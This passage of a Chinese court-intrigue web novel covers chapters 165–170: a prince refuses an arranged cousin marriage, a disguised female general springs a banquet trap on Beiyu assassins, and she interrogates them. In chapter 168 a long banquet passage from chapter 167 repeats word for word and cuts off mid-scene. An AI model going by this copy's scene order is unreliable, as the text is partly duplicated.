荷包的款式很常见,但下边坠了几根流苏。方才太子每说一句话,就会摸一下腰间的荷包。 回想着太子从前的配饰,才发觉他是在梁文帝允嘉禾公主自行择夫婿后。 太子能想到这一步,沈聿明没道理想不到,只是他为何…… 云暮的目光隐晦地放在沈聿明身上,迟迟没有移开。 “明熹,你和嘉禾是表亲,朕想亲上加亲,你以为如何?” 第一百六十五章 拒婚 云暮收回目光,敛眉拢手立在梁文帝身后,耳朵却竖得老高,等着沈聿明的答案。 沈聿明抬眼看向梁文帝的方向,但目光却聚焦在后面的人身上,只是任凭他怎么看,云暮都不曾抬过头。 他无声苦笑,想着不若应下,看看她是何反应,再逼着她来找他,再把人困在王府里,不许她离开半步,但到底还是做不出来。 “父皇,儿臣以为不妥。” 一连被两人拒绝,梁文帝的脸色有些难看:“你难不成也有心上人了?” 云暮呼吸放缓,心里隐隐有些期待,但一想到她对沈聿明说过的话,心中的期待便荡然无存。她伤人至此,沈聿明心里想来是恨她的。 有字几欲脱口而出,沈聿明及时改了口,“没有。” 早已知晓是这个答案,云暮的心还是不免刺痛,下面的话她已经不想再听了。 即便是余光一直关注着云暮,但她一直低垂着头,沈聿明怎么也看不清她的表情。 “那你为何不愿?” 沈聿明:“儿臣在涿州时,曾见过一农户,夫妻二人生了四五个孩子,可惜的是,个个都是痴傻儿。儿臣心中好奇,便和他们的邻居打听了一番,才知原因。” 梁文帝问道:“这与你的婚事有何关系?” 沈聿明才接着道:“那男子是女子的表兄,正如儿臣和嘉禾公主,时人都传他们二人是不顾伦理才遭此下场。” 他恳切地看向梁文帝:“父皇,若儿臣和嘉禾公主结为连理,将来……儿臣有何颜面面对大梁的列祖列宗?” 说罢,他的眼圈红了一圈。 …… 秋闱之事商议了一个上午,晚些时候还要再召集六部等官员入宫,云暮头昏脑涨,只是太子还在身侧,她又不得不提起精神周旋。 “云将军,父皇最信得过你,孤的婚事,还请你替孤在父皇面前多美言几句。” 云暮扫过他腰间的香囊,很快又收回视线,“殿下的婚事皇上和娘娘自有定夺,下官不敢胡乱进言。” 笑话,别说梁文帝不允,这事若是被皇后知晓,只怕未央宫的东西就要被砸个稀碎了,她可不要蹚这趟浑水。 太子还要再说些什么,红玉的声音自身后传来:“太子殿下留步。” 不消片刻,她已经占到了二人面前,“见过太子殿下,云将军。” 云暮丝毫不意外,吕良进来换茶时,她示意对方去给皇后递信,太子想借刀杀人,那也要看看此招能不能行得通。 太子走后,沈聿明也从勤政殿出来了,他迈着大步跟上云暮。尴尬的气氛在宫道蔓延开来,云暮不知该说些什么,只好沉默。 沈聿明只有在面对云暮时,话才会多上几句,但见方才云暮一直忽视他,反倒和太子聊得火热,他不禁有些吃味。 直到看到云府的马车,云暮终于舒了口气,三步并作两步往前走去,没有看见沈聿明铁青的脸。 到布政坊不久,宫里的消息就递到了云暮的桌上。 “皇后盛怒。” 一直替崔家人留着的太子妃之位即将落到一个对太子毫无助力的女子头上,皇后焉能不怒? 云暮烧掉字条,想了想,又叫来一个人,耳语了几句。 昨夜是她轮值,一夜未眠,今儿一天不是在批公文就是着手秋闱一事,忙得不可开交。 下值时间一到,她头也不回地出了布政坊,回到云府后晚膳都没用,倒头就睡。 一觉醒来,弯月已经挂在了枝头,云府只剩下虫鸣与蛙叫。 云暮摸黑点燃了蜡烛,更夫打着锣路过,才发觉此时已经子时。 门被敲了两声,砚石的声音从外面传来:“大人,晚膳一直在厨房温着,属下叫人传膳。” 云暮的肚子适时叫了一声,推门走了出去。 虽是晚膳,但已是深夜,安叔备的是养胃的肉粥和几碟小菜。 云暮饿狠了,不过一会儿就把那一小锅粥喝了个干净,还有些意犹未尽。 砚石见他难得有好胃口,笑问:“大人,不如属下去给您下碗面?” 云暮放下空碗,摇头道:“不用了,时候不早了,你也回去歇着吧,这些明日再让人收拾。” 砚石端着锅碗,往厨房的方向走去:“不碍事,属下回去也要路过厨房。” 云暮一路从花厅慢慢踱回她的院子,花园里,几株早桂悄然绽放,清淡的桂香被风揉碎,吹散在花园的各个角落。 几只泛着绿光的萤火虫在花间穿梭,云暮拢住一只,再松手时,萤火虫振翅而飞。 嘶嘶声响起,花枝轻颤,云暮驻足蹲下身,指尖伸向花丛。巡府的小厮正巧路过,见状递上一只灯笼:“大人,府中恐有蛇鼠,夜间灯暗,大人多加小心。” 云暮摆手拒绝了灯笼:“无事。” 话落,一条碧色的小蛇攀上她的手,顺着手臂而上,盘在她的肩头。有小青在,府中有再多的蛇鼠都不够它祸害。 云暮将小青捧在手心,对小厮说道:“你们刚来不久,认一认它,往后在府中见了勿要伤它。它自小吃毒虫长大,被咬上一口,本将军也救不了你们。” 她带着小青回到院子,推开门时,有人正背对着她坐在院中的石凳上,云暮喂毒虫的动作一顿,小青轻咬了她一口,趁她吃痛分神,长舌一卷,毒虫全进了它的腹中。 见云暮没有再喂它的意思,小青嘶嘶了两声,钻进了一旁的草丛,不多时,蛙鸣声变得尖锐。 云暮捏了捏手心,装出一副坦然的样子,“秦王殿下夜闯云府,所为何事?” 男人听到声音,缓缓转过身,赫然是沈聿明的脸。 “怎么,金吾卫大将军要叫人进来抓本王吗?” 两人久不说话,他一开口就带着火药味,云暮不免有些脾气:“王爷若是想进大牢走一遭,不如现在去云府外绕一圈,这个时辰,想来金吾卫很快就会路过云府。” 沈聿明牙尖相抵,磨了磨后槽牙,“就不劳云大人费心了。” 还要说些什么,一支飞镖扎进了云暮身后的木门上。 第一百六十六章 请帖 “谁!” 云暮飞身上了屋檐,四下张望,却什么都没有发现,小厮听到动静,一窝蜂地围住她的院子。 “大人,可是有刺客?” “戒备!” 云暮看着老神在在的沈聿明,暗自庆幸她关了门,顺手捏起檐上的白猫,她淡淡道:“无事,一只狸猫罢了,都散了吧。” 被放回原位的白猫抗议地叫了两声,云暮狠狠摸了它圆圆的脑袋,“今夜晚了,明儿给你加餐。” 听闻这话的白猫才吐出嘴里的衣袖,满意地喵了一声。 云暮回到院门,拔下柱子上的飞镖,取下了上头的纸条。 “明日中午,醉江月天子一号雅间见。” 落款是一个司字。 如今在大梁,姓司且与云暮关系匪浅的只有司戎一人,云暮将纸条揉成一个小团。 不过是送个消息,派人来云府或者布政坊走一趟就是,怎么就想了这个法子? 云暮打量着那支泛着冷光的飞镖,没注意到沈聿明已经来到身边。 “发生什么事了?” 云暮下意识把手背在身后,食指指腹盖住飞镖上的那个司字:“无事。” 而后才想起她如今已经和沈聿明决裂,于是后退了几步,开始下逐客令:“王爷请回吧,下官要歇息了。” 今夜来的目的还未达到,沈聿明怎么肯离去?他将云暮困在院门和他之间,手顺着她的肩膀一点一点往下,最后停在了她的手上。 云暮握着纸条的右手不松,左手将飞镖掷了出去,没让沈聿明窥见分毫。 重逢近一年,云暮还是第一次这般防备他,沈聿明气笑了,捏着云暮的下巴,迫使对方抬头看他。 “你不说本王也能猜到,京城宵禁甚严,俞白又回了侯府,夜间自然不会再出来。他不过才在布政坊待了一段时间,武艺不会太好,这飞镖想必是司戎送来的吧?” 这个姿势无端让云暮想起刚入宫时经历的那些事,心下厌恶,一掌拍开沈聿明的手,一手把人推开,“是又如何,不是又如何,王爷管得未免太宽了些。” 沈聿明见她油盐不进,一心惦记着司戎,他翻出了今儿在宫里的旧账,又加上飞镖和字条,怒上心头。 “厌倦本王了,如今想试试异域风情?司戎可没有本王好说话。” 云暮嗤笑了一声:“且不说我如今担着查黑衣人一职,皇上又命我护司戎周全,就算我想换个口味又如何?王爷是想以什么身份来管教我?” 沈聿明被问得哑口无言,才知谁错了话,他低声道:“方才我气昏头了,说错了话。” “各国的使臣接连离京,司戎却以查黑衣人的借口把你捆在他身边,若是被有心之人利用,给你扣上一个通敌叛国的罪名,你该如何?” 云暮掏出帕子狠擦他碰过的下巴,恨不得擦下一层皮来,听到这话,下意识为司戎辩解,“司戎他不是这种人,王爷还是莫要胡乱揣度他人为好。” 她再次下了逐客令:“王爷,请回吧。” 再纠缠下去,她也不会吐露一个字,沈聿明深深看了她一眼,跃上围墙,丢下一句“早点休息”后,就没了身影。 第二日一早,云暮出门前思虑了一番,将那枚飞镖也揣进了怀里。 漫长的上午终于过去,俞白路过时探头进来问了一句:“云暮,一同去用午膳?” 云暮捏了捏僵硬的肩颈,拒绝:“不了,我还有事。” 俞白有些失落,但也没有强求,“那我给你留一个红薯。” 红薯这玩意着实新奇,香甜绵软,但云暮一连吃了几日,已经腻了,“不用,世子自个儿吃吧。” 她收拾了一下,去马厩牵了马,往醉江月的方向奔去。 正值中午,街道人挤人,即便是有心相让,但云暮到醉江月时,已经过了小半个时辰。 小二哎了一声,热情地迎了上来,道:“云大人,什么风把您给吹来了?” 云暮将缰绳递过去:“牵到马厩单独栓着,不用给它喂干草。” 醉江月她来的次数不少,无需小二引路,她轻车熟路地来到了天字一号雅间,抬手敲了敲门。 “进。” 云暮将室中的一切都收进眼底,又勉强探听了一下周遭的情况,发现没有任何异样后,她才拔步往桌边走去。 “二皇子。” 司戎的手微微抬起,“云大人,坐。” 云暮坐定后,拿出那枚飞镖,将其移至司戎面前:“二皇子,这是何意?” 司戎勾起飞镖,指尖摩挲着那个司字,却不回答云暮的问题:“云大人还未用午膳吧?不如我们吃完再谈。” 观他气定神闲,云暮猜测不是什么大事,便点头应允:“也可。” 司戎摇了一下铃,小二很快就来了。他让小二把菜单递给云暮:“我不识字,让云大人点。” 云暮推了回去,随口说了几个常点的菜:“就这些吧,不够再加。” 茶余饭后,云暮再次提起方才的事,“二皇子,现在能说了吧?” 司戎:“有黑衣人的下落了。” 云暮拍了一下桌面,力道太大,震得茶杯叮叮响,“当真?” 司戎扬眉:“我怎会拿此事来说笑,但他们住在城外的那些废弃院子,还经常换地方,要抓到他们实属不易。” 云暮垂眸思量了一会儿,“他们欲刺杀皇上,至大梁动荡,不如以此做局,诱他们前来。” “将军的意思是……” 当天下午,云暮的请帖送至十几个京官的府中。 “云大人这是何意?” “不知,听说就太子、秦王、崔相和六位尚书都得了请帖。” “那我去宴会上走一遭,若是入了哪位大人的法眼,岂不是平步青云了?” “青天白日就发梦。” ……那些人如何讨论暂且不谈,沈聿明翻着桌上的请帖,来来回回看了好几遍,又再次问文竹:“这当真是云府的人送来的?” 文竹不知昨晚的风波,还当自家王爷高兴傻了,“是啊,砚石亲自送来的,哪能有假,只是……” 沈聿明追问:“只是什么?” “只是类似这样的请帖,云大人给了十几个人。” 第一百六十七章 宴上遇刺 沈聿明的好心情顿时消了,“都给了谁?” 文竹念出了一长串的名字,不是京城里有头有脸的大官,就是国公侯爷。 她想笼络朝臣也不会用这么蠢的法子,难不成是因为那张纸条?沈聿明道:“把派出去的人叫回来。” …… 三日后。 云暮站在醉江月门口,等着同僚到来。一刻钟过去,竟无一人到场。 砚石不满:“大人,您特意选了休沐日,他们来不来的也不告知一声,不如属下带着人去他们的府上,一个一个把人押来。” 云暮淡定道:“不急,再等等,他们会来的。” 与此同时,工部尚书周翰文的府上,几人正坐在凉亭里举杯酌饮。 “周大人,云大人毕竟是陛下的人,您当真不去赴宴?” 周翰文瞥了说话之人一眼,从怀中掏出一张请帖甩在桌上,“想巴结那个阉人,不如你代本尚书去。” “小人不敢。” 那人只是工部的一个小喽啰,如若不是沾了上司的光,他这辈子都不可能和这些三品以上的大官同坐一桌。 云暮向来得皇上看重,先前不知做了什么让皇上不喜的事,受了冷落,但自江南回来后,皇上的气消了,还赐了不少赏赐。 周翰文今日不仅不去赴宴,还把几个与他交好的同僚都叫来府上,这是明摆着和云暮对着干。 云暮此人心眼极小,若是去皇上面前嚼舌根,这宴上的人都讨不了好。他原想着劝劝周翰文,再让对方记着他的忠心,提拔他,但现在,他忽然后悔来周府了。 气氛短暂凝滞过后,席间又热闹了起来。一个小厮来到周翰文耳边,低语了几句。 “真的去了?你没看错?” 小厮道:“千真万确。” 没等周翰文说话,其余人派去醉江月附近查探情况的小厮也都来了,他们忙和周翰文告辞,又暗自庆幸将请帖带在了身上。 此时,沈聿明、太子及崔相三人整整齐齐地站在了醉江月门口,云暮反复看着名单,上面确实没有沈聿明的名字,青天白日的,见了鬼了。 “云大人不打算让本王进去?” 云暮压下心头的疑惑,扯出笑容迎了上去,“怎么会?二位殿下和丞相肯赏脸,是下官的荣幸,三位里边请。” 她接过沈聿明的请帖,飞速地扫了一眼,确实是她所写,她怎么不记得有派人送给沈聿明。 从雅间出来,云暮揪着砚石来到一个无人的角落,“解释一下,秦王为何会有请帖。” 砚石挠了挠头,“大人,不是您说请朝中有头有脸的官员吗,请了太子,不请王爷,这不好吧?” 云暮拍了一下他的脑袋:“你日日跟在我身边,不知我如今与王爷不和?” 砚石嘟囔:“可您也没说不请王爷啊。” 云暮再次抬手,作势要打,砚石抱着头求饶:“大人,属下错了,下次再有这种事,一定先让您过目。” 事已至此,云暮也不好再责怪,“下次再胡乱发请帖,你就去诏狱洒扫一个月。” 砚石嗯嗯点头,就差发誓了。 醉江月又陆续来了好一批人,云暮一一把人请了进去。 周翰文领着同僚来时,才发现就差他们几人,沈聿明悠悠地喝了口茶后才道:“周大人真乃大梁的栋梁之材,休沐日都如此操劳,连宴会都顾不上。” 周翰文擦了擦额上的汗珠,笑道:“王爷说笑了。” 云暮怕徒生意外,便站出来打圆场,沈聿明看不惯她这副讨好人的模样,只能闭嘴,转而把敌视的目光放在司戎和俞白身上。 云暮正和太子交谈,没注意到那边的暗流涌动。和太子聊了一会儿,他就把话题往婚事上拐,云暮直接回绝:“殿下,今日不谈公务。” 宴会一事,她禀明了梁文帝,为了做到万无一失,梁文帝勒令太子务必前来,她不怕太子甩脸子走人。 宴会初始,大部分官员都胆战心惊,酒也不敢多喝两口,生怕云暮忽然发难。 等云暮拿着茶杯一桌一桌敬过之后,他们才松了口气,不是鸿门宴就好。 云暮作为东家,自然是坐在太子他们附近。太子因婚事和皇后生了龃龉,但丞相却待他一同从前,还真是稀奇。 她分明记得丞相从不干涉太子和崔苒来往,还当他也存了亲上加亲的心思,云暮有些看不透他的想法了。 盯着丞相太久,一声“云大人”把她的魂喊了回来。 是沈聿明的声音。 “云大人,不是说今日宴请同僚,这二位貌似不是大梁的官员吧?” 话是对着云暮说的,但双目却一直看着俞白和司戎。一个是闲散世子,一个是他国的皇子,怎么都和大梁官员不沾边。 被两人的矛盾波及到,司戎还稳坐如山,双耳不闻桌上事,一心吃着碟子里的菜。 云暮还是第一次知道沈聿明这么会胡搅蛮缠,她正要解释,俞白已经抢先一步开口。 “秦王还不知道吧,我如今在布政坊当差,再说了,二皇子是大梁的贵客,邀请他来也在情理之中。” 说罢,他朝云暮眨了眨眼,脸上是求夸的表情。 才一会儿的功夫,他又变回那个不着调的世子,云暮不知该说他什么好,只默默朝他比了一个手势。 才过了多久,这两人就有了他看不懂的暗号,一股危机感油然而生。 事情才了,就有官员端着酒杯来搭话,沈聿明只好暂时放下此事。 醉江月的酒比寻常酒楼要烈上几分,酒过三巡,大多数人都带了醉意。 席间舞女的水袖翻飞,迷了不少人的眼,更有一舞女时刻站在云暮桌前,挡住她的视线。 云暮撑着下巴看着舞女,双目迷离,偶尔伸手抓住甩到她面前的水袖,又任由它如水蛇滑走。 舞女卷着水袖,目光陡然变冷,不知从何处抽出一柄软剑,直直刺向云暮。 云暮连人带着椅子往后退,还顺势将桌上的木筷的甩了过去。 尖叫声四起,那些微醺的人都被这猝不及防的刺杀吓到,瞬间酒醒。 第一百六十八章 抓获刺客 与此同时,其余几个舞女也抽出剑朝着司戎的方向而去。 就算已经提前安排好,但云暮还是有些不放心。她只知司戎会武,但没和司戎动过手,想赶到司戎身边,却被舞女缠住。 司戎递给他一个稍安勿躁的眼神后,避开了舞女的剑。 云暮打了一个手势,那几个留着在雅间伺候的“小二”拿着角落里的木棍将太子等人围在中间。 这些刺客的目标是司戎,还不至于蠢到对太子他们动手,云暮倒也不是太担心。 只是雅间的人不少,真要动起手,她有些施展不开拳脚。眼看着舞女的剑快要刺向她,云暮犹豫要不要拿出软剑。 手搭到腰上,舞女的剑忽然偏了方向,打落了一根从旁边飞来的短棍。 云暮侧目,沈聿明掷东西的动作还未来得及收,他身旁的椅背则缺了一根横棍。发现云暮看来,他咳了一声,转身去护着那些不会武的同僚。 混乱间,几个蒙面人破窗而入,奔着司戎的方向而去。云暮细数着人,确认黑衣人都在场后,她拿起酒杯掷往窗外。 屋外的金吾卫见了信物,悄无声息地把醉江月和附近的房子围住,冯章几个带着人从不同的方向闯进雅间。 云暮不再演戏,她抽出腰间的软件,几下就把舞女捅了个对穿后,急忙来到司戎身边。 刺客一个一个倒下,金吾卫的援军也到了,黑衣人才知中了他们的埋伏,当机立断决定跳窗逃跑。 窗边,金吾卫穿着甲衣站在屋顶上,泛着冷意的箭矢齐刷刷地对着窗户,只要有人从里面出来,瞬间就会被射成刺猬。 逃不走的黑衣人只能退了回来,想着临死前要拉几个垫背的,于是他们把主意打在官员身上。 只要杀了他们,大梁的朝堂必定会乱成一锅粥,到时再联合东胡等国,一定能大梁身上撕下一大块肉。 若是能把司戎杀了最好。 二皇子死在大梁,正好给了北域进攻大梁的借口。北域蜗居在那个苦寒之地这么久,是时候重回中原了。 黑衣人眼神交汇,分做两队,一队刺杀司戎,另一队则去杀大梁官员。 云暮阴招使多了,多少能猜到他们的想法,忙让冯章带人护好那些人,她则留在司戎身边。 约莫过了小半个时辰,这场闹剧终于结束了,雅间也已经乱成了一团。碎裂的碗盆,还有被剑划伤的柱子…… 醉江月用的东西都不便宜,尤其是天字号的雅间,云暮已经看到库房的金银财宝在向她挥手告别了,她有些肉疼。 当初为了平裴然和梁文帝的账,她贴进去了不少银子,如今还要给醉江月补偿,她当初就该选一间简陋的酒楼,还能省下不少银子。 转念一想,今日之事是因万寿节而起,这笔钱合该是梁文帝给才对。 心里打定主意后,云暮才把注意力放在黑衣人身上。他们今日势在必得,竟忘了在牙槽里藏毒,这倒是便宜了云暮。 “卸了下巴,把人送去诏狱看好,没有我的命令,不许人单独提审他们。” 小二战战兢兢地收拾一地的狼藉,人在这杵着也是无用,云暮便提议去隔壁雅间略坐片刻。 这些人被吓破了胆,哪里还肯答应,就怕云暮再拿他们的小命去钓鱼,当即向云暮告辞。 目的已经达到,云暮也没再挽留,雅间里的人头也不回地夺门而出。 丞相深深地看了云暮一眼,“云大人,你今日太过莽撞。”往后再宴请同僚,只怕是无人敢来了。 云暮毫不在意,以后的事以后再做打算,再不济,易个容不就成了? 丞相无奈摇头,也提步走了出去,太子紧随其后。很快,雅间里就只剩下四个人。 席间被沈聿明明里暗里针对,俞白早就看他不顺眼了,于是阴阳怪气地说道:“王爷不走吗?” 沈聿明没看他,反倒是把云暮从头到脚打量了一遍,在看到她袖口上的血迹时,心中一紧,但到底还是什么都没说。 等云暮拿着茶杯一桌一桌敬过之后,他们才松了口气,不是鸿门宴就好。 云暮作为东家,自然是坐在太子他们附近。太子因婚事和皇后生了龃龉,但丞相却待他一同从前,还真是稀奇。 她分明记得丞相从不干涉太子和崔苒来往,还当他也存了亲上加亲的心思,云暮有些看不透他的想法了。 盯着丞相太久,一声“云大人”把她的魂喊了回来。 是沈聿明的声音。 “云大人,不是说今日宴请同僚,这二位貌似不是大梁的官员吧?” 话是对着云暮说的,但双目却一直看着俞白和司戎。一个是闲散世子,一个是他国的皇子,怎么都和大梁官员不沾边。 被两人的矛盾波及到,司戎还稳坐如山,双耳不闻桌上事,一心吃着碟子里的菜。 云暮还是第一次知道沈聿明这么会胡搅蛮缠,她正要解释,俞白已经抢先一步开口。 “秦王还不知道吧,我如今在布政坊当差,再说了,二皇子是大梁的贵客,邀请他来也在情理之中。” 说罢,他朝云暮眨了眨眼,脸上是求夸的表情。 才一会儿的功夫,他又变回那个不着调的世子,云暮不知该说他什么好,只默默朝他比了一个手势。 才过了多久,这两人就有了他看不懂的暗号,一股危机感油然而生。 事情才了,就有官员端着酒杯来搭话,沈聿明只好暂时放下此事。 醉江月的酒比寻常酒楼要烈上几分,酒过三巡,大多数人都带了醉意。 席间舞女的水袖翻飞,迷了不少人的眼,更有一舞女时刻站在云暮桌前,挡住她的视线。 云暮撑着下巴看着舞女,双目迷离,偶尔伸手抓住甩到她面前的水袖,又任由它如水蛇滑走。 舞女卷着水袖,目光陡然变冷,不知从何处抽出一柄软剑,直直刺向云暮。 云暮连人带着椅子往后退,还顺势将桌上的木筷的甩了过去。 尖叫声四起,那些微醺的人都被这猝不及防的刺杀吓到。 第一百六十九章 踏平北域 才掀开马车的车帘,云暮眼尖地发现桌上多了几瓶药,“这是哪来的?” 砚石哦了一声,眼神乱瞟,“方才见您手上沾了血,属下以为您受伤了,回府太远,就去医馆买了些药。” 云暮拔下塞子放在鼻尖嗅闻,里头的草药极其珍贵,里头有些更是只供皇家用的药材,哪能是在外面能买到的? 云暮没有揭穿他,“走吧,去户部。” 已经做好被追问的准备的砚石唰的一声放下车帘,直奔户部,唯恐云暮再次问起药的出处。 诏狱森森,烛火昏暗。 几桶水泼到地上,又被扫帚清理得一干二净,刑架上的人被粗鲁地摁在刑凳上,伤口处又渗出了血。 云暮才问了一句,对面的人用北域话回了一句,冯章看向云暮:“大人,属下去礼部请个人来?” 云暮抬手制止:“不用,他听得懂大梁官话。” 学了一段时间的北域话,刺客头子一出口,她就听出这是骂人之语,原以为地方不同,那些污言秽语也会有所不同,但也不过如此。 云暮挥退了冯章几人,信步走到刺客面前,“你们和大皇子通的书信都被本将军扣下了,咬死不认已经没有意义了。” 刺客又用北域话叽里呱啦地说了几句,云暮一脚踩在他的脚背上:“本将军知道你们会说大梁官话,再用北域话回话,本将军就把你们送给司戎。” “你还不知道吧,你们被抓之时,达勇已经被二皇子扣下了。他可不像你们这么不禁打,早就招了。” 云暮从怀中拿出一张供词拍在刺客面前,手却盖着供词上头,“二皇子送给大梁这么大的一份礼,大梁要回什么礼才好? 北域的国主已经年近花甲,活不了几年了,你说大梁助二皇子坐上国主之位如何? 你们大皇子是个烂泥扶不上墙的废物,北域钱粮皆无,一旦开战,北域必输,他怎么敢搅乱两国的平静?” 刺客的眼皮上糊了血,看不清供词,又听云暮信誓旦旦,心里也没有起疑,打算将过错都揽到他们身上:“我等不是北域之人。” 云暮收起那份“供词”,将一张张写着他们身份的宣纸摆在桌上,“那这是什么?” 她复述了一遍刺客说的北域话,又用大梁官话解释了一遍:“你刚才说的就是北域话,还真以为本将军听不出来?就连口音都和二皇子大差不差。” 多说多错,刺客闭了嘴,任由云暮怎么说他都不再言语。云暮收回证据,“你不说,总有人架不住刑。” “换个人过来。” 云暮和一个带着官帽的男子走出诏狱,官帽之下,是司戎的脸。 “二皇子可有眉目了?” 司戎说道:“这几个刺客确实都是王兄手底下的人,来大梁一个月前,孤在北域就没见过他们,晚些时候孤会派人把他们的身份送来。” 云暮拱手道:“劳烦二皇子了,您想怎么处理他们?” 司戎反问了一句:“你们皇上是何想法?” 云暮说道:“大梁兵强马壮,北域虽可联合东胡抵挡一时,如果东胡反水,北域撑不了多久。” 司戎又问:“云将军这么笃定东胡会反水,你又怎知这不是他的缓兵之计?” 云暮摸了摸腰间的剑柄:“二皇子怕不是忘了,秦王的生母乃东胡的公主,如今嘉禾公主又留在大梁等待联姻。 东胡若有和大梁一战的实力,怎会出此下策?” 晾了刺客半个月,云暮已经把东胡和北域的底细都查得一清二楚,至少这两年之内,东胡不会和北域联手。 司戎抚掌淡笑:“不愧是云将军。北域每年向大梁进宫羊马各三百匹,铁器…… 这些对于大梁来说算不得什么,但对于北域来说,已经是举整个北域之力,贡品再增,只怕北域反得更快。” 云暮有些心虚,大梁已非当年的大梁,不过只是维持着表面的繁华罢了。 “二皇子多虑了,您助大梁擒了刺客,乃大功一件,功过相抵,皇上怎会怪罪?先前应您之事,本将军定会做到,二皇子尽可放心。” 北域如今不宜开战,这也是他选择和云暮联手的原因。司戎既已答应和云暮合作,现下不过是怕他反水,再次试探罢了。 “如此,那孤就等着云将军的好消息了。” 云暮再次拱手:“定会在二皇子离京前给您一个交代。” 证据收足后已经过了五日,云暮跪在勤政殿里,一一呈明。 梁文帝怒拍桌案:“北域敢尔?宣萧将军,朕要他踏平北域!” “皇上,万万不可!” 云暮的阻止更是添了一把柴火,“理由。” 云暮又拿出几封信件,“皇上不如看后再做决定。” 梁文帝越看面色越青:“国库空虚至此,裴然此前怎么没和朕提过?你又是从何处得到的?” 云暮答道:“大梁无私账,有心之人什么都能查到,皇上,此时开战,大梁纵能抵挡,却也坚持不了太久。他们与东胡联手,大梁胜算不大。” 梁文帝压着怒气问道:“难道刺杀一云暮事就轻飘飘地压下去了?那以后岂不是谁都能派刺客前来刺杀朕?” 云暮垂头道:“皇上,臣有一计。” 十日后,京城城外。 “二皇子,此去山高路远,本将军只能送您至此了,一路保重。” 云暮伸手,两杯茶出现在她手中:“二皇子今日不便饮酒,本将军以茶代酒,敬您一杯。” 这怎么看都像是最后一杯茶,子胥小声劝阻:“二王子,不可。” 司戎得了他想要的,自然不会拒绝,他摆摆手,接过了茶杯,一饮而尽。 “云将军,后会有期。” 云暮躬身行了一礼,“恭送二皇子。” 一行人策马远去,扬起尘土,云暮眯起双眼,心道,希望司戎莫要辜负她的一番好意。 和北域开战是迟早的事,大梁势必要在这一年内筹备到足够多的兵马粮草。 如果司戎能借刺杀一事夺得权势,于大梁于北域都是好事一桩。 第一百七十章 鸿门宴 北域一事告一段落,云暮在家歇了两天,安叔拿着一张纸走进书房:“大人,这是醉春风送来的。” 云暮接过,随口一问:“什么东西?” 安叔为难道:“是……是账单。” 云暮面色一僵,突然不想看了。 抓刺客一事动静不小,醉春风在朝中有人脉,云暮回来问过一嘴,但安叔说并未收到账单。一来而去的,她也就忘了,没想到在这等着呢,她不知该不该夸醉春风的老板懂事了。 一项一项看下来,云暮的心更痛了。 南洋运来的木料,大梁名师亲手所制的器物,还有前朝所画的山水图…… 醉春风没事用这么名贵的东西做摆件作甚? 云暮仰坐在太师椅上,怒道:“把账单给皇上送去!” 安叔疑惑地“啊”了一声,“大人,这不妥吧?” 云暮趴在桌子上哀哀地叫了一声:“云府一大家子都靠本将军养着,本将军那点俸禄,如何赔得起?” 安叔想起库房那些数不清的金银财宝和大家名画,嘴角抽了抽:“大人,说笑了,老奴这会派人送账单进宫。” 临到门口时,云暮才把人叫住,她捂着心口虚弱道:“醉春风要多少,你就从库房支多少银子送去吧。” 安叔忍笑道:“是。” 为银子伤心了半晌,云暮才把砚石叫了进来:“研墨。” 吹干墨汁后,云暮将信纸装入信封中,“暗中送去秦王府,不许旁人发现。” 砚石半只脚都踏出书房了,云暮才又补上一句:“秦王也得瞒着。” 为了不被沈聿明看出端倪,她特意换了字体。 “大人,太子派人送来请帖。” 云暮眉头一皱,这半个月来,她听说太子为了那个姑娘和皇后又闹了几次,把皇后都气病了,他还是不肯低头。 她一直用调查刺客之事为由推脱,这次怕是不能了,“拿来。” “戌时初刻,于醉春风一叙。” 云暮一看到醉春风三字,觉得头又疼了,才赔了一大笔银子,要是她没答应,太子一怒之下砸了醉春风,不会又要她赔吧? 砚清观他面色不佳,“大人身子不适,属下去回绝?” 云暮认命开口:“不了,再不去,太子就要亲自登门拜访了。” 戌时初刻,云暮准时出现在醉春风门口,管事见了他如同见了财神爷,笑眯眯地迎了上来。 “云大人,好些日子没见,大人风采依旧。” 云暮揉了揉手腕:“再多来几趟,本将军的府邸就要挂牌卖出去了。” 管事打着哈哈,“云将军说笑了,太子殿下吩咐了,您楼上请。” 路过天子一号雅间时,云暮看着紧闭的房门,心想,今日一定要狠狠宰太子一顿。 云暮走进二号雅间后,太子已经到了,正端着茶杯站在窗前,桌上摆满了一大桌菜。 她躬身行了一礼:“下官见过太子。” 太子转过身,“云将军无须多礼,你调查刺客一事辛苦了,几次想邀你一叙都寻不到机会。” 云暮听出他语气里的不满,于是把锅甩给梁文帝,“殿下错怪下官了,皇上那边催得紧,刺客狡猾,又事关北域,未查到证据,下官是一刻都不敢放松。” “你……” 搬出梁文帝,太子也不能再说什么,想到今夜的目的,他压下怒气,扯出一个难看的笑,“你还真是父皇最得力的干将,坐吧,我们边吃边聊。” 云暮依言坐下,却不碰桌上的吃食一口,“太子今夜相邀,应是为了您的婚事吧。” 太子见他主动提及,满意地说道:“不错。” 云暮一如上次那般拒绝:“殿下,此事下官……” 太子截住他的话:“孤不是让你去劝父皇,母后被孤气出病,太医院束手无策,孤只是想请你去给母后看看。” 她爹娘因皇后不信任太医院才招来杀身之祸,皇后后来也替他们收了尸,算是扯平了。 皇后私下里派人查过她的身份,她实在不想再和对方有交集。 “殿下,娘娘这是心病,病因在您的婚事,您一日不答应去崔家女,皇后的病就不会好,就算下官的师父入宫诊治也无济于事。” “崔家女,又是崔家女,就连你也要劝孤吗?” 云暮:??? 她不过是说了病因,她劝什么了? “殿下误会了。” “孤只是想娶一个情投意合的女子,孤又有什么错,为什么都要逼孤娶不喜欢的人?” “孤只是把崔苒当做亲妹子来看……” 太子的嘴堪比齐发的箭雨,云暮一句话都插不上,只能把他当成说书先生,就着他的话喝了一杯又一杯茶。 口干舌燥之时,才终于停下,太子一脸歉意:“云将军,这些话憋在心中太久,孤失态了。” 云暮默默地放下茶杯,“太子方才说了什么,下官一句话都没听到。” 太子:…… 他只是客气一下,想让云暮愧疚,从而应了去未央宫给母后看病一事,云暮这是没听出他的意外之音? 云暮看着太子那张和梁文帝有五分相似的脸,心中冷笑。这么急着让她去未央宫,想来是有什么阴谋。不过干嚎两嗓子就想她被愧疚冲昏头脑,他当他是沈聿明吗? “殿下心绪不佳,下官就不打扰了。” 说罢,云暮转身就走,她动作快,又靠近门口,太子反应过来后,只能看到一个背影。 第二日,云暮被梁文帝宣进了宫,到勤政殿时,太子正从里面出来。低头行礼时,头上传来一声意味不明的笑。 梁文帝默了许久,才开口:“云卿,你去一趟未央宫,太子求到朕面前,朕不好拒绝,只能委屈你了。” “是。” 